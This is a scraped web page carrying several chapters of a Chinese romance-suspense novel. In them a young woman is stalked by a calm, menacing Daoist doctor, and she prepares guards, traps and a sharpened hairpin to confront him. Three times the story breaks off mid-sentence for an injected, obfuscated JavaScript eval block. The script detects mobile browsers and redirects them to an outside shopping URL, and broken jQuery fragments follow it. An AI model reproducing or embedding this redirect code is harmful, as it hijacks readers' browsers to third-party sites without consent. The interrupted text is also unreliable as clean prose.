窗外忽然传来孩子们兴奋的喧哗声。她推开窗看去,只见几个孩子正围在院子里,中间站着一个人,雪白长袍,身姿挺拔,不是他又是谁? 他手里似乎拿着什么东西,正在对孩子们说着什么,孩子们听得入神,不时发出惊叹。阳光落在他身上,镀上一层浅金,衬得他面容清峻,神情温和,当真是一派仙风道骨,令人心折的模样。 贺佑宁的心顿时沉了下去,他又来了。 似乎是察觉到她的目光,李清述忽然抬起头,朝着书房窗户的方向望了过来。隔着一个庭院,两人目光遥遥相接。 李清述看到她,脸上并无意外之色,甚至对她微微颔首,唇角似乎极淡地弯了一下,算是打过招呼。那笑容依旧温和有礼,挑不出半点错处。 然后,他便若无其事地重新低下头,继续对孩子们说话,仿佛刚才那一眼对视,只是再平常不过的偶遇。 贺佑宁像被那一眼钉在了原地。 他看到了她,知道她在看他。而他出现在这里,与孩子们相处融洽,显然又是有备而来。 她缓缓关上了窗,隔绝了外面的声音和那道令人心悸的身影,却隔绝不了心头涌起的波澜。 他就像一片无声蔓延的阴影,无论她躲到哪里,试图用怎样的人和事去覆盖,他总能轻易地穿透屏障,重新出现在她面前,提醒着她,他是一个无法摆脱且危险莫测的存在。 贺佑宁避开了贴身的丫鬟,从庄子侧门悄悄溜了出去。 她没有走寻常路,而是绕进了庄园后山更为偏僻罕有人至的小径。这里林木更加茂密,杂草丛生,平日里连庄户都很少涉足,是她所能想到,最有可能避开他的地方。 她只想找个清静无人的角落,独自待一会儿,或许能暂时摆脱那种如影随形的被窥视感。 山路崎岖,她走得有些费力,裙摆不时被荆棘勾住。不知走了多久,终于找到一处相对平坦的背阴石崖,崖下有一小片空地,长着厚厚的苔藓,旁边还有一眼细细的山泉渗出,汇成一个小小的水洼,清澈见底。 贺佑宁松了口气,在苔藓上坐下,背靠着冰凉的石壁。四周寂静,只有风吹过树梢的沙沙声和偶尔的鸟鸣。远离了庄子,远离了人群,也远离了那个令人窒息的身影,她终于感受到了一丝属于自己的久违宁静。 她深深吸了一口山林间清凉的空气,开始闭目养神。 然而,这份宁静并未持续多久。 就在她心神放松之际,一个熟悉得让她瞬间凝固的声音,平静突兀地在她身侧不远处响起:“好巧。” 贺佑宁猛地睁开眼,心脏几乎停止了跳动。她僵硬地转过头,只见李清述不知何时,已然站在离她不过七八步远的一株古松旁。 他手里提着一个竹编小药篓,里面装着几株带着泥土的不知名草药。神色如常,甚至带着一丝恰到好处的意外,仿佛真的只是在此采药,偶然遇见了她。 阳光透过枝叶的缝隙,在他身上投下斑驳的光影,却驱不散他周身那股令人心悸的平静。 “你……”贺佑宁喉咙干涩,几乎发不出声音,带着一丝无力:“你怎么会在这里?” 李清述提了提手中的药篓,示意了一下,语气平淡无波:“来此采些草药。这后山人迹罕至,倒生着几味难得的药材。” 他目光落在贺佑宁身上,上下打量了她那身衣角沾了些花瓣碎叶略显狼狈的模样,眉间似乎轻蹙了一下,“倒是贺姑娘,怎会独自一人在此荒僻之处?身边也不带个人,若是再像上次一般迷路,或是遇到蛇虫野兽,岂不危险?” 他的话语里带着关切,俨然一副长辈担忧晚辈安全的模样。可听在贺佑宁耳中,却只觉得无比刺耳和虚伪。 他明明知道她为什么在这里!他分明是……跟着她来的! “你不必再装了!”贺佑宁猛地站起身,声音因情绪激动而微微颤抖。 李清述脸上的情绪似乎有一瞬间微妙变化,他静静地看着她,没有立刻说话,只是那目光渐渐变得幽深起来。如同退潮后裸.露而出的黑色礁石,冰冷坚硬,再无丝毫掩饰。 他轻轻放下了手中的药篓,向前走了两步,拉近了两人之间的距离。那属于他真实一面的迫人气息,再次毫无保留地弥漫开来,带着山雨欲来的沉凝。 “装?”他声音平稳,却褪去了所有伪装的温和,只剩下一种近乎漠然的平静,却比任何激烈的情绪都更令人胆寒。 他微微偏头,目光如同实质般刮过贺佑宁因生气而微微泛红的脸颊,他缓缓道,每个字都清晰得如同冰珠落地,“我只是在担心你的安危罢了。” “你心神不宁,独自跑到这荒山野岭,若是再出意外……”他话未说完,但未尽之意已让贺佑宁心头一紧。她想起上次迷路的惊惶,想起山林中可能潜藏的危险。 然而,不等她消化这份突如其来的“关切”,李清述已猝不及防地伸出手,不容抗拒地精准扣住了她的手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155035|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺佑宁下意识地想要后退,可背脊却已抵住了冰冷的石壁,退无可退。 “你想干什么?”贺佑宁的手腕开始挣扎。 “医者父母心。”他缓缓开口,字字清晰,“老夫人将你托付给我调理,我自当尽心。望闻问切,缺一不可。” “只是诊脉而已。你放心,这次我真的是一个好大夫。”说完,他微微一笑。 他说的似乎是真话…… 贺佑宁犹豫了。 趁她停顿的空隙,李清述的指间按在她腕间,神色专注。 这一次,他的手指似乎比上次更稳,力道适中,按在脉位上,认真探查着她的脉象。 贺佑宁屏住呼吸,全身僵硬,所有的感官都集中在那一点被触碰的肌肤上。她能感觉到他指尖的温度,他指腹的纹路,甚至能感觉到他脉搏透过指尖传来,极其细微的跳动。这一次,他没有再做任何多余的动作,只是静静地认真诊着脉。 终于,李清述松开了手。 贺佑宁立刻如触电般收回手腕,藏到身后,仿佛那是什么不洁之物。 李清述并未在意她的动作,只是沉吟片刻,才缓缓道:“脉象较之前稍稳,惊悸之象略减,但肝气仍有郁结,思虑过重。之前的方子,可再加一味柴胡,疏肝解郁。另外……” 他顿了顿,目光落在贺佑宁依旧苍白的脸上,“你心中似有块垒难消,郁结于心,非药石所能全功。还需自行开解,多亲近自然,与家人相伴,勿要过于沉湎旧事或……无谓烦忧。” 这话听起来,又是十足的医者口吻,关切而中肯。 可贺佑宁听在耳中,只觉得字字讽刺。她的“块垒难消”、“无谓烦忧”,不就是因他而起吗?他现在倒劝她“自行开解”? 她垂着眼,没有接话。 “新的药方我会交给老夫人,你要乖乖听话,好好吃药,不要惹人担忧。” “另外……” 他微微倾身,伸出手将她整个人半禁锢在他与石壁之间,他的侧脸线条在幽暗的林荫下显得冷硬而深刻,周身那股沉凝的气息,比方才更加迫人。 那双深邃的眼眸里,只剩下深不见底的暗沉与一种令人心悸的专注。他并未触碰她,只是这样近距离一瞬不瞬地凝视着她,仿佛要将她此刻的每一丝情绪都刻入眼底。 “我以为经过这些时日,你该明白了。” 他停顿了一下,目光锁住她,一字一句带着一种宣判般的冷酷与笃定:“无论你躲到哪里,逃向何方,我都会找到你。这就是……你我之间的‘缘法’。” “所以你不必再想方设法避开我。” 他再次彻底暴露出了真面目。 不再是暗示,不再是迂回的试探,而是用最直接最冷酷的方式,宣告了他的意图,想要断绝她所有逃跑的念头。 “缘法”二字,从他口中吐出,带着一种斩钉截铁的宣判意味,仿佛在陈述一个不容抗拒的宿命,一个她无论如何挣扎也无法摆脱的诅咒。 但贺佑宁不信。 23. 未尽之言 “有本事你就杀了我。”贺佑宁紧紧抿着唇,死死地盯着李清述说道。 李清述那双深潭般的眼眸微微眯了起来,里面似乎有什么危险的东西在无声地涌动凝聚。 随后,他忽而低低地笑了起来。 “我怎么会对你使用这种手段呢?”他在她面前微微俯身,目光与她平视。距离近得她能看清他眼中细碎的光,和他唇边那抹未曾消散的笑意。 “死亡是最简单的解脱,也是最无趣的终点。” 他的声音里带着一种近乎蛊惑的冰冷温柔,“而我要的……” 他要她活着,好好地活着。 在他的视线范围里,在他的掌控之中,慢慢地适应他的存在,习惯他的靠近,直到她再也不会想着逃离,也不会再对他说出“杀了她”这样的话。 他要她心甘情愿地留在,他为她划定好的界限之内。 他微微偏头,仿佛在思考一个极有趣的问题,唇角的笑意加深了些,笑容俊美十足,却让人不寒而栗。 贺佑宁不知道他的未尽之言,但料想也不是什么好事。 “你这个疯子!” 贺佑宁想,哪怕她暂时不能对他做什么,激怒一下他,让他失态也好。 然而,李清述的反应再次出乎她的意料。 听到“疯子”二字,他脸上不仅没有半分愠色,反而像是听到了什么有趣的评价,眉梢微挑,眼底掠过一丝近乎玩味的光。 他没有反驳,微微颔首,语气平淡:“嗯,大夫确实说过,我心火易动,气血易逆。每每遇事,气血上冲,难以平复,容易控制不住自己。” “幼时便有征兆,习武后更甚。名医汤药针灸试过无数,收效甚微。后来有位云游的方士说,此乃先天心性有缺,后天戾气所激,非寻常药石可医,除非……” 他故意停顿了一下,目光专注地、甚至带着一丝探究地,牢牢锁住贺佑宁因惊愕而微微张开的唇。 “除非什么?”贺佑宁下意识地追问,话一出口就后悔了。她为什么要接他的话?这根本就是他的圈套! 李清述的唇角几不可察地弯了一下,那弧度极浅,却带着一种近乎诱引的奇异意味。 “除非,”他缓缓道,声音压低了些,带着一种近乎魔性般的清磁,“能遇到一个命格特殊、心性纯粹之人,以其清气,化解戾气,导引归正。” 他的目光在她脸上逡巡,仿佛在评估着什么:“那位方士曾言,此人需得与我命运有所纠缠,骨子里要藏着一股不肯服输的韧劲儿……” 他忽然住口,没有再说下去,只是深深地看着她。 “……” 贺佑宁张了张嘴,想斥责他胡言乱语,想骂他荒唐无耻,可所有的话语在喉咙里打了个转。 最终她忍不住道:“这太荒唐了!” 李清述将她这副仿佛被噎到的模样尽收眼底,他再次开口,语气依旧平淡,却又添了几分意味深长:“所以……”他看着她,缓缓说道,“或许你可以治好我。” 这句话轻飘飘的,却像一块石头砸进了贺佑宁的心湖里。 “才不是!你又在骗人!” 李清述轻轻笑起,他本就生得眉目如画,此刻因笑意而更显生动。清亮的眼眸专注地锁着她:“我何时骗你?难道不是你先说我是疯的吗?” 贺佑宁被他问得一噎。 确实,可谁料到他竟然顺杆爬,还扯出什么大夫诊断、方士预言,把自己“有病”说得如此理所当然,甚至将她牵扯进去! “你分明就是在强词夺理,混淆视听!” 李清述微微挑眉,那表情竟似有几分无辜,“我不过是顺着贺姑娘的话,坦诚相告罢了。” 贺佑宁见他一副要抵赖到底的模样,索性不要言语,瞪向他,朝他翻了一个大大的白眼。 “贺姑娘不妨先试着习惯我的存在。或许时日久了,你便能分辨,我究竟是在骗人,还是在陈述一个真正的事实。” 李清述说着,目光落在贺佑宁身上。 他微微偏头,侧脸在斑驳的光影里轮廓分明,脸上的笑容竟透出几分近乎纯然的愉悦。日光透过树叶缝隙,在他月白色的衣袍上跳跃,更衬得他身姿飘逸,容颜俊美得不似凡人。可这份超然的美貌之下,却藏着令人心惊的疯狂与执拗。 “无赖!” 贺佑宁彻底放弃了与他争辩的念头。跟这种人讲道理,简直是白费时辰。她狠狠地瞪了他一眼,仿佛要将这两个字钉在他那张可恶的脸上,然后毫不犹豫地转过身朝着来时的方向,头也不回地快步走去。 然而,身后便传来了不疾不徐的脚步声。那声音很轻,踩在松软的落叶上,发出细微的沙沙声。像附骨之疽,紧紧跟随着她的节奏。 这厮果然阴魂不散! 贺佑宁心头一紧,脚下步伐更快了几分,几乎是小跑起来。可无论她走得多快,身后的脚步声始终保持着稳定的距离,不远不近,如影随形。 她没有回头,也能清晰地感觉到那道落在自己背上专注而暗含炙热的视线。 在经过一个拐弯时,贺佑宁终于忍不住,猛地停下脚步,转过身怒视着后面几步之遥的李清述。 “你跟着我到底想做什么?!” 李清述依旧提着那个药篓,神色平静,仿佛只是恰好与她同路。 “同路而已。”李清述脚步未停,从容地走到她面前,语气平淡得令人发指,“贺姑娘难道忘了,我也是要回庄子的。” 又让他找到理由了! 贺佑宁不再理他,扭过头继续往前走。她知道,再纠缠下去也无济于事。故意将步子迈得又急又快,仿佛这样就能甩掉身后那讨厌的“尾巴”。 可李清述依旧不紧不慢地跟在她身旁,既不超越,也不落后,保持着一种令人烦躁的同步。 山林寂静,只有两人一前一后的脚步声和风吹树叶的声音。 贺佑宁试图无视他的存在,可如芒在背,那存在感却如此强烈,根本无法忽略。 她抿了抿唇,继续向前走。 脚下的山路崎岖,杂草丛生,不时有横生的枝条或盘虬的树根挡路。她心情烦躁,走得又急,两侧低矮却茂密带着细小倒刺的荆棘灌木,难免会被勾扯到衣裙。 贺佑宁没有停下步伐,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155036|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁愿被勾几下,也不想在此处停留。 而身侧却传来一道几乎难以捕捉的细微破空声。 贺佑宁眼角余光瞥见一道银芒,细如发丝,快如闪电,自李清述宽大的袖口无声射出。那银芒在空中灵巧地一绕,精准地缠上了荆棘丛最坚韧的几根主茎。 没有声响,没有用力拉扯的痕迹。只见那银芒似乎轻轻一颤,坚韧的荆棘茎干便齐齐从中断开,切口平滑如镜。整丛荆棘失去了支撑,软塌塌地向两侧倒伏下去,恰好让出一条干净的小径,甚至连地上散落的刺藤,都被那银芒顺势一带,扫到了路边。 银芒倏然收回,没入李清述袖中,不见踪影,整个过程不过眨眼之间。 贺佑宁的脚步顿住了。她看着眼前被“清理”得一干二净的道路,又侧目看向几步之外的李清述。他依旧神色疏淡,目光似乎落在远处的树梢,拢在袖中的双手安然垂放,仿佛刚才那神乎其技的一幕与他毫无关系。 她抿紧了唇,加快了脚步,从那清理出的缝隙中迅速穿过,仿佛多停留一秒,都会被那无形的丝线缠绕住。 接下来的路程,类似的情形又发生了几次。一次是横倒的朽木拦路,银芒闪过,朽木悄然移开尺许。一次是湿滑的陡坡边缘有松动的石块,银芒轻点,石块滚落,露出更稳固的落脚点。还有一次是…… 每一次,李清述都离她几步之遥,神色平静,目不斜视,仿佛那些精准的干预只是偶然,或是这片山林自身的神异。唯有那倏忽来去的细微银光,和随之畅通的道路,证明着他的存在与动作。 贺佑宁努力忽视着他,全当看不见。 终于,庄子的后墙和熟悉的侧门出现在视野中。贺佑宁几乎是迫不及待地小跑过去,伸手推门。 在她指尖触到冰凉门板的刹那,身后那道如影随形的气息似乎微微滞了一下,然后如同潮水般悄然退去。 她没有回头,径直推门而入,反手将门紧紧关上,背靠着门板,才长长地吁出一口气,仿佛终于挣脱了某种无形的束缚。 这人能面不改色地说出自己有病,能冷静地转述那所谓的方士之言,还能如此自然地将她套入那个“治病”的角色……这比他直接承认自己是“疯子”更让她感到不寒而栗。 疯子至少是混乱不可预测的。 而他是清醒的。他清醒地知道自己的“不正常”,清醒地运用着他的“不正常”,甚至……清醒地将她纳入了他那套诡异逻辑的“治疗方案”之中。 这比单纯的恐吓或占有,更添了一层令人头皮发麻的感受。 她无意间招惹上的,根本不是一个能用常理去揣度的人。而是一个披着人皮,思想却走入极端歧途的未知存在。 而这个存在,现在正以一种她无法理解的方式,将她牢牢锁定,视作所有物…… 这个认知带来的恐惧,远比“疯子”二字,要深沉得多,也绝望得多。 在她身后,李清述停在原地,望着那扇迅速合拢的侧门,他眼中那深潭般的平静泛起一丝极淡的涟漪,很快又归于沉寂。 他转身提起药篓,如同来时一般,悄无声息地消失在山林深处。 24. 求助 贺佑宁知道,她必须得做点什么,不能再这样被动地等待,任由他一步步渗透掌控,最终将她彻底拖入深渊。 她必须主动出击,哪怕只是微小的试探,也要打破眼下这令人窒息的全然被动。 午后,老夫人又在花厅里品茶,眉眼慈和,神色惬意。贺佑宁在一旁陪着,见外祖母心情颇好,便状似不经意地开口:“祖母,那位玄明道长……似乎很得庄子上孩子们喜欢呢。昨日我还看见他们围着他,听他讲故事。” 老夫人笑着点头:“是啊,道长学识渊博,又没架子,讲些山野趣闻、星象传说,孩子们自然爱听。这也是道长的慈悲心肠。” “嗯,”贺佑宁点点头,话锋却轻轻一转,“只是……我瞧着他与孩子们亲近,有时举止似乎……过于随性了些。毕竟男女有别,道长虽是方外之人,但表妹她们也渐渐大了,总归……还是要避些嫌隙才好。” 她说的含蓄,意思却明白,暗示李清述可能不够注意分寸。 老夫人闻言,脸上的笑意淡了些,看了贺佑宁一眼,语气依然温和,却带着一丝不赞同:“佑宁,你多心了。道长乃是修行之人,心怀坦荡,光风霁月,岂会有那些龌龊心思?他与孩子们说笑,不过是长辈关爱晚辈罢了。你切莫以常人之心,度道长方外之腹。” 第一次试探,失败。 外祖母对李清述的人品坚信不疑。 但贺佑宁并不气馁。 等老夫人说起玄明道长医术高明,开的安神方子她用了也觉得睡眠好了许多。贺佑宁便蹙眉道:“外祖母,玄明道长的医术自然是好的。只是……我总觉得,他开的方子,药性似乎比寻常大夫的猛了些。我这几日喝了,虽不惊悸了,但白日里总觉得精神恍惚,心神不属。也不知是不是我体质太弱,受不住这药力……” 老夫人放下茶盏,拉过她的手,仔细看了看她的脸色,又探了探她的额头,担忧道:“是有些精神不济的样子。许是你身子底子虚,受补太过?或是近日思虑过重?这样,明日我让人再去请个老大夫来给你瞧瞧,也看看道长的方子是否需调整。不过,”她话锋一转,拍了拍贺佑宁的手背,“道长的医术是毋庸置疑的,许是配伍上需根据你的情形微调,你莫要因此对道长生了疑心。” 第二次尝试,依然被外祖母圆了过去。外祖母维护李清述的态度,丝毫没有动摇。 贺佑宁心中有些挫败,却也更加清醒地认识到,想通过言语影响外祖母对李清述的看法,短期内几乎不可能。外祖母先入为主的印象太深,李清述的表象又太过完美无瑕。 但她并未完全放弃这条路径。 既然直接质疑人品或医术效果不佳,或许可以换个角度,偶尔轻描淡写地提点几句,在外祖母心中埋下一丝若有若无的疑虑种子,哪怕暂时看不出效果,也总比什么都不做强。 过了两日,老夫人收到李清述托人送来的一小罐据说是用后山清泉和特殊手法炮制的花茶,饮后口齿留香,神清气爽,赞不绝口。 贺佑宁陪在一旁,适时开口,语气带着恰到好处的好奇与一丝不易察觉的担忧:“祖母,这位玄明道长……对我们庄子,似乎格外上心呢。不仅赠药赠茶,还时常指点庄头农事,连后山哪处有清泉、哪块地适合种什么都一清二楚。这般细致周到,倒不像是寻常云游道长偶然驻足,反倒像是……对我们庄子颇为熟稔,甚至……有所图谋似的。” 她将“有所图谋”说得极轻,仿佛只是随口一提的玩笑,眼神却认真地看着外祖母。 老夫人正品着花茶,闻言动作顿了顿,看向贺佑宁,眉头微蹙:“岁岁,这话从何说起?道长乃世外高人,岂会觊觎我们这小小庄子?他不过是随缘而行,既然在此落脚,又与老身投缘,顺手帮衬些,也是修行人的善举。你怎可如此揣测道长?” “佑宁不敢。”贺佑宁连忙低下头,做出知错的模样,“只是……只是佑宁觉得,道长行事实在太过周全,周全得让人……有些不安。常言道,无事献殷勤,非奸即盗。道长与我们非亲非故,这般殷勤备至,难道祖母心中就无半分疑虑吗?” 她抬眸,眼中盛满真诚的担忧。 老夫人看着她,沉默了片刻。 贺佑宁的话,像是一颗小石子,投入了她对李清述全然信任的心湖,虽然未能激起多大波澜,却也留下了一丝几乎无法察觉的涟漪。 “你这孩子……”老夫人叹了口气,语气软了下来,却并未被说服,“道长品性高洁,光风霁月,老身活了这把年纪,看人还是有几分眼力的。他若真有所图,图我们这庄子什么?钱财?庄子值几个钱?美色?” 她摇了摇头,“更是无稽之谈。道长眼中清明坦荡,并无半分邪念。岁岁啊,你定是前番受了惊吓,又听了些闲言碎语,这才杯弓蛇影,看谁都像坏人。日后莫要再这般胡思乱想,平白伤了道长一片好意,也让自己不得安宁。” 话说到这个份上,贺佑宁知道,再多说也无益,反而可能引起外祖母的反感。她适时地露出羞愧和受教的神情,低声道:“是,佑宁知错了。许是佑宁多心了,外祖母勿怪。” 老夫人见她认错,面色缓和,又安抚了几句,便将话题岔开了。 贺佑宁表面顺从,心中却并无多少沮丧。她本就没指望一次两次就能动摇外祖母的信念。今天这番话,至少在外祖母心里种下了一颗种子。或许之后,当李清述再做出什么举动时,外祖母潜意识里,会多一分思量,而不是全然接受。 这就够了。 贺佑宁回到自己的屋子里,借口要清理首饰,将丫鬟支开,独自留在房中。 她找出一支金簪,又寻来一块磨刀石。这是她从厨房偷偷拿来的。关紧门窗,她坐在妆台前,将金簪的尖端,对准粗糙的磨石,开始一下一下,用力地、缓慢地磨砺起来。 金属与石头摩擦,发出细微而刺耳的“沙沙”声。她全神贯注,目光紧盯着那渐渐变得尖锐的簪尖。额头上沁出细密的汗珠,手指因为用力而微微发白,掌心也被粗糙的簪身硌得生疼,但她浑然不觉。 脑海里反复回放着李清述那些令人胆寒的言语和举动…… 她不能再只是害怕,不能再只是逃避。她要让他知道,她不是可以随意揉捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155037|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、只能被动承受的猎物。 “沙……沙……”磨石的声音在寂静的房间里持续着,单调而执着。贺佑宁的眼神,在金属摩擦的火星映照下,亮得惊人,那里面不再是单纯的恐惧或茫然,而是一种理性的冷静。 她知道这很微小,甚至可能徒劳。但在绝对的劣势和无处不在的威胁面前,这为自己磨利“爪牙”的行动,可以成为她对抗恐惧、维持坚定的支点。 簪尖在反复打磨下,渐渐泛出冰冷锐利的光芒。贺佑宁停下动作,用手指小心翼翼地试了试尖锋,一丝轻微的刺痛传来。 很好。 她将磨好的金簪用软布仔细包好,藏在了妆匣最隐秘的夹层里。 然后她洗净手,坐到书案前,铺开信纸,提起笔。墨香在鼻尖萦绕,她略一沉吟,开始落笔。 这封信是写给远在京城任职的兄长的。兄长年长她许多,素来沉稳干练,对她这个幼妹也颇为疼爱关照。 她不能,也不敢在信中提及李清述那些惊世骇俗的言行和诡异莫测的来历。一则怕兄长担心则乱,贸然行动反而打草惊蛇;二则,那些事情太过离奇,若非亲身经历,实在难以置信。 她必须用一个更合情合理、也更容易让人接受的理由。 笔尖轻触纸面,一行行清隽却带着隐隐焦灼的字迹流淌出来:“兄长大人膝下敬禀者:妹自抵外祖母庄子将养,蒙外祖母亲眷照拂,本已渐安。然此地虽山明水秀,终是乡野之地,庄子地处山麓,僻静少人。近日庄中时有陌生行迹出没,妹独自居于内院,偶感心神不宁。外祖母年事已高,庄中护院皆寻常庄户,恐不足以应非常之变。” 她顿了顿,笔尖悬停,斟酌着下一句。不能说得太严重,引起兄长过度担忧或直接前来,那可能会正面撞上李清述,后果难料。但又要足够引起他的重视。 “妹非怯懦之辈,然前番病体初愈,难免多思。为安己心,亦免外祖母挂怀,斗胆恳请兄长一事:可否于亲信部曲或可靠友朋处,暂借调三两名身手敏捷、行事稳妥之护卫,前来庄子,名为协理庄务、巡护山防,实则可暗护内院周全。人选务需口风严谨,低调行事,勿要张扬,以免惊扰外祖母清静,亦免庄户惶恐。” 这样写,理由充分。 地处偏僻,有陌生行迹,她病后多思需要安全感,顺便也能加强庄子防护,让外祖母更安心。请求也具体,三两名可靠护卫低调前来。既表达了她的不安和需求,又不会显得过于突兀或惊慌。 “此事本不该烦扰兄长,然妹思来想去,唯有兄长可托。万望兄长斟酌,若得允准,妹感激不尽。庄子诸事,妹自会小心,兄长勿过于挂念。京城公务繁忙,亦请兄长善自保重。” 最后,她留下庄子的详细地址和接头暗号,小心吹干墨迹,将信纸折叠整齐,用火漆封好,盖上自己的小印。 这封信,是她向外传递出的第一缕明确的求助信号。 她不知道兄长收到信后会作何反应,是否能及时派人前来,派来的人又是否足以应对李清述那样的对手。但这是她目前能想到的、最稳妥可行的外力求助方式。 25. 金簪 贺佑宁开始暗中谨慎地观察着庄子内外的动静,并悄悄准备着一些防身之物。 除了那支金簪,她又设法从庄户那里弄到了一些给牛马用的强效蒙汗药,小心地分装在几个不起眼的小瓷瓶里,随身携带。 几天后的晌午,庄头领着做寻常仆役打扮的五个人来见老夫人。 为首的管事模样的中年男子恭敬禀报,说是京里的大少爷知道小姐在庄上散心,怕身边伺候的人手不够使唤。特意新买了几个得用的下人送来,两个丫鬟贴身伺候小姐,三个男仆则在庄子里听候差遣、跑腿护院,让小姐和老夫人使唤起来更方便。 老夫人仔细打量了这五人,见两个丫鬟虽衣着朴素,但容貌端正,举止沉稳。三个男仆也是体格健壮,眼神清明,言行恭敬有礼,不似奸猾之辈。 又听是大外孙特意送来的,便也放下心来,只当是他作为兄长照顾妹妹,想得周到,欣然将人留下,安排两个丫鬟进了内院伺候贺佑宁,三个男仆则交由庄头分派活计。 贺佑宁看得分明。 这五人看似普通仆役,但两个女子步履轻盈,气息绵长,指关节有细微薄茧。三个男仆则目光沉稳,身形挺拔,隐有行伍之气。这正是兄长派来的护卫,两女三男,一明一暗,安排得极为妥帖。 次日,贺佑宁寻了个由头,私下见了这五人,出示了兄长的信物。五人立刻神情一肃,恭敬行礼。 两个女护卫怀兰、怀竹坦言是暗中培养的女卫,擅长近身保护和察言观色。三个男护卫陈义、刘勇、王成则是军中退下的好手,精于追踪、警戒和搏杀。五人皆言奉命前来,一切听从小姐安排,誓死保护小姐安全。 贺佑宁心中大定,有了这五名得力护卫,她的安全感陡增。 她依旧没有详细说明李清述之事,只含糊提及庄子附近或有心怀叵测之人窥伺,自己需时常去后山散步调养,请他们务必提高警惕,暗中防护。怀兰、怀竹贴身跟随,留意近处异常。陈义三人则在外围隐蔽巡守,掌控山林动静,若有异动,即刻策应。五人领命,分工明确,悄然散入庄子各处,开始了隐蔽的布防。 有了这层可靠的保障,贺佑宁开始实施下一步大胆的引蛇出洞计划。 其实她哪怕不这样做,他也会如期而至的。 从那一天起,贺佑宁便每日都会往山林里走一段,采摘一些常见的野果、菌菇或草药等等。有时还会在小溪边停留片刻,一边享受山野之趣,一边守株待兔。 与故事不同的是,她确定她真的能等到那只“兔子”。 怀兰和怀竹以贴身丫鬟的身份,自然跟随左右,寸步不离。两人看似寻常侍女,帮她提着小篮,整理裙摆,实则眼观六路,耳听八方,时刻警惕着周围任何风吹草动。她们受过特殊训练,感知敏锐,身手灵活,是贺佑宁身边第一道防线。 而陈义、刘勇、王成三人,则根据贺佑宁的指令,化整为零,利用山林地形,隐蔽地远远散布在她行进路线的外围和可能的制高点上。 他们如同潜伏的猎手,既能俯瞰全局,监控大片山林区域的动静,又能在必要时迅速从多个方向接应、包抄或阻敌。 与此同时,贺佑宁在她常去的几条路径上,悄悄与陈义等人配合,布置一些简易的预警和阻滞陷阱。 每一次布置,他们都做得极其小心专业,尽量抹去人为痕迹,与山林环境融为一体。 贺佑宁知道,面对李清述那样的对手,这些陷阱未必能起决定性作用,但它们的价值在于预警和干扰,为自己和贴身女卫争取宝贵的反应时间,也为外围的男护卫制造合围或拦截的机会。 她的怀里,贴身藏着那瓶强效蒙汗药,发间则牢牢簪着那支磨得尖利的金簪。怀兰和怀竹身上也暗藏了小巧的匕首和袖箭。 这一次,她布下了预警的陷阱,带来了贴身的精锐护卫,设下了外围的埋伏,藏好了防身的毒药和利刃。 她要看看,在他那看似无处不在的掌控之下,她这点精心准备的反击与防御,究竟能起到多少作用。 是能形成有效的牵制与对抗?抑或在他那深不可测的实力面前,依旧如同纸糊的壁垒? 她不知道。 但她想去做。 这一天。山林寂静,阳光透过枝叶洒下斑驳光影。贺佑宁弯腰,从一丛灌木下摘起几颗熟透的野莓。 怀兰站在她左后方半步,怀竹在右前方警戒,两人看似随意,实则全身肌肉微微绷紧,眼观六路,耳听八方。 就在贺佑宁指尖即将触到果实的刹那。 头顶上方,一道月白色的身影,如同没有重量般,毫无预兆轻飘飘地自茂密的树冠间悠然落下。衣袂翩跹,不染尘埃。 他落地的位置,恰好避开了坑洞和绊索,正正落在空地中央,距离贺佑宁不过三丈。阳光透过枝叶,在他身上投下斑驳光影,衬得他容色俊隽依旧,神情疏淡平和,仿佛只是偶经此地,翩然而至。 没有惊动任何预警机关,甚至没有带起多少风声。陈义三人潜伏在外围,竟也未能提前察觉他的靠近。 贺佑宁的心骤然一沉,她猛地向后急退两步,同时低喝一声:“动手!” 怀兰和怀竹反应极快,在贺佑宁出声的刹那,便身形已动。 怀兰手腕一翻,一道乌光自袖中疾射而出,直取李清述面门,是淬了麻药的细小暗器!怀竹则足尖一点,身形如燕,揉身扑上,手中不知何时已多了一把尺许长的短刃,寒光闪闪,直刺李清述肋下空门! 两人配合默契,一远一近,一暗一明,出手狠辣果决,绝无半分犹豫。 与此同时,外围传来几声极轻微的破空声和衣袂掠动声,陈义、刘勇、王成三人从三个不同方向疾扑而至,手中刀光闪烁,封死了李清述可能闪避的退路。陈义更是人在半空,已挥手洒出一片淡黄色的粉末。 五名护卫,五道攻击,几乎在同一瞬间爆发,将李清述完全笼罩!暗器、短刃、刀光、药粉……交织成一张致命的网。 然而,面对这突如其来的、配合精妙的围攻,李清述的神色却连一丝波动都没有。 